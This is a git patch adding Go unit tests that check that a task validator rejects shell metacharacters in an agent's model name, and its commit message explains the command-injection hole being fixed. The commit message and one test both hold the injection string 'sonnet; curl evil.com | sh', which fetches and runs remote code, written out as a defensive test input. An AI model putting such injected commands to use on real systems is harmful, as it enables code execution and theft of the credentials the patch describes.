From 0cedb90d44b09c9eda296bcdb8cedd5b58d76d22 Mon Sep 17 00:00:00 2001 From: Peter Stone Date: Wed, 8 Jul 2026 04:39:42 +0000 Subject: fix(task): reject shell metacharacters in Agent.Model Agent.Model is concatenated unescaped into a sh -c command string in ContainerRunner.buildInnerCmd (--model flag, added in the prior commit). With no validation, a value like "sonnet; curl evil.com | sh" would execute arbitrary shell code inside the task's container -- which has mounted Claude credentials and git push access. Flagged by automated security review immediately after that commit landed. Restrict to the character set real model names actually use (alphanumeric, dot, underscore, hyphen), validated at the same boundary PermissionMode already uses (task.Validate, called before a task is ever persisted or dispatched). Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD --- internal/task/validator_test.go | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) (limited to 'internal/task/validator_test.go') diff --git a/internal/task/validator_test.go b/internal/task/validator_test.go index 2c6735c..2e088cf 100644 --- a/internal/task/validator_test.go +++ b/internal/task/validator_test.go @@ -98,6 +98,31 @@ func TestValidate_InvalidPermissionMode_ReturnsError(t *testing.T) { } } +func TestValidate_InvalidModel_ReturnsError(t *testing.T) { + task := validTask() + // Shell metacharacters must be rejected -- Agent.Model is concatenated + // into a `sh -c` command string in executor.ContainerRunner.buildInnerCmd + // with no further escaping. + task.Agent.Model = "sonnet; curl evil.com | sh" + err := Validate(task) + if err == nil { + t.Fatal("expected error") + } + if !strings.Contains(err.Error(), "model") { + t.Errorf("expected model error, got: %v", err) + } +} + +func TestValidate_ValidModel_NoError(t *testing.T) { + for _, m := range []string{"", "sonnet", "opus", "claude-sonnet-4-6", "claude-opus-4-1-20250805"} { + task := validTask() + task.Agent.Model = m + if err := Validate(task); err != nil { + t.Errorf("model %q: expected no error, got: %v", m, err) + } + } +} + func TestValidate_MultipleErrors(t *testing.T) { task := &Task{ Retry: RetryConfig{MaxAttempts: 0, Backoff: "bad"}, -- cgit v1.2.3